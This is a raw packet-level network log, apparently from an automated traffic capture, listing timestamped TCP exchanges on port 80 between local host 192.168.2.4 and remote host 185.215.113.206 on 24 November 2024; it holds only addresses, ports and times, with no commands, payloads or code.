Nov 24, 2024 02:13:08.018619061 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.018697977 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.019134998 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.019613981 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.019718885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.020608902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.020734072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.020761013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.021624088 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.021749973 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.021774054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.022650957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.022766113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.022792101 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.023695946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.023722887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.023794889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.024704933 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.024732113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.024797916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.025723934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.025749922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.025842905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.026818991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.026848078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.026968002 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.027210951 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.027808905 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.027880907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.028786898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.028814077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.028881073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.029807091 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.029833078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.029848099 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.030103922 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.069742918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.069854975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.070040941 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.070257902 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.070357084 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.070648909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.071290016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.071407080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.072299957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.072407007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.072438955 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.073360920 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.073430061 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.073457003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.073893070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.074326992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.074435949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.074553013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.075372934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.075447083 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.075764894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.076374054 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.076505899 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.076531887 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.077389956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.077487946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.077521086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.078433037 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.078510046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.078510046 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.078548908 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.078717947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.079427004 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.079519987 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.079598904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.080451012 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.080549002 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.080571890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.080761909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.081459999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.081585884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.081589937 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.082014084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.082473993 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.082604885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.082631111 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.083498955 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.083537102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.083636045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.083702087 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.083873034 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.084796906 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.084814072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.084913015 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.085526943 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.085638046 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.085659981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.085760117 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.086556911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.086684942 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.086731911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.086869001 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.087563992 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.087698936 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.088032007 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.088597059 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.088684082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.088707924 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.091319084 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.135370016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.135473967 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.135556936 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.135844946 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.135960102 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.136090994 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.136183023 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.136187077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.136281013 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.137094975 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.137208939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.137238026 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.137263060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.138113022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.138258934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.138290882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.138628006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.139146090 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.139214039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.139220953 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.139400959 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.140132904 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.140242100 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.140311003 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.141145945 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.141262054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.195735931 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.195794106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.195811033 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.195854902 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.196177006 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.196214914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.196393013 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.196434975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.196538925 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.196588039 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.197491884 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.197540045 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.197575092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.197628021 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.198427916 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.198487043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.198558092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.198604107 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.199455976 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.199502945 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.199563026 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.199619055 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.200459957 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.200508118 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.200579882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.200624943 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.201484919 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.201538086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.201596022 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.201641083 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.202510118 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.202548027 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.202622890 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.202666044 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.203532934 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.203584909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.203620911 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.203676939 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.204547882 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.204596043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.204629898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.204673052 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.205558062 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.205600977 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.205668926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.205709934 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.206568956 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.206626892 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.206690073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.206738949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.207600117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.207672119 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.207705021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.207782030 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.208626986 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.208671093 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.208729029 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.208772898 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.209675074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.209727049 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.209736109 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.209779024 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.210683107 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.210721016 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.210728884 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.210762978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.211692095 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.211736917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.211780071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.211817980 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.212671041 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.212714911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.212754965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.212799072 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.213707924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.213752031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.213766098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.213805914 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.214735985 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.214775085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.214837074 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.214881897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.215742111 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.215790987 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.215856075 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.215898991 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.216767073 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.216818094 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.216861010 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.216912031 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.217775106 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.217845917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.217888117 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.217932940 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.218810081 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.218863964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.218904018 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.218952894 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.219847918 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.219892979 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.219928980 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.219971895 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.220839024 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.220901966 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.220928907 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.220968962 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.221834898 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.221883059 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.261706114 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.261756897 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.261831999 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.261877060 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.262217045 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.262262106 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.262321949 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.262363911 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.263217926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.263261080 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.263356924 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.263400078 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.264244080 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.264293909 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.264338017 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.264384985 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.265254021 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.265299082 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.265369892 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.265419006 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.266268015 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.266319990 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.266380072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.266437054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.267276049 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.267332077 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.267378092 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.267415047 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.268321991 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.268364906 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.268429995 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.268466949 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.269320965 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.269367933 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.269432068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.269484043 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.270345926 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.270402908 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.270442963 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.270483971 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.271363020 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.271406889 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.271511078 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.271572113 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.272393942 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.272445917 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.272489071 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.272537947 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.273410082 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.273458958 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.273529053 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.273578882 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.274405003 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.274446964 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.274514914 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.274564981 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.275418043 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.275466919 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.275540113 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.275585890 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.276458979 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.276503086 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.276549101 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.276590109 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.277460098 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.277510881 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.277554035 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.277597904 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.278481007 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.278561115 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.278604031 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.278644085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.279495001 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.279542923 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.279584885 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.279628038 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.280515909 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.280564070 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.280594110 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.280633926 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.328813076 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.328869104 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.328880072 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.328948975 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.329288960 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.329333067 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.329369068 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.329411983 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.330293894 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.330342054 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.330388069 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.330425978 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.331320047 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.331376076 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.331412077 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.331453085 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.332326889 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.332370996 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.332433939 CET	80	49730	185.215.113.206	192.168.2.4
Nov 24, 2024 02:13:08.332473040 CET	49730	80	192.168.2.4	185.215.113.206
Nov 24, 2024 02:13:08.333357096 CET	80	49730	185.215.113.206	192.168.2.4
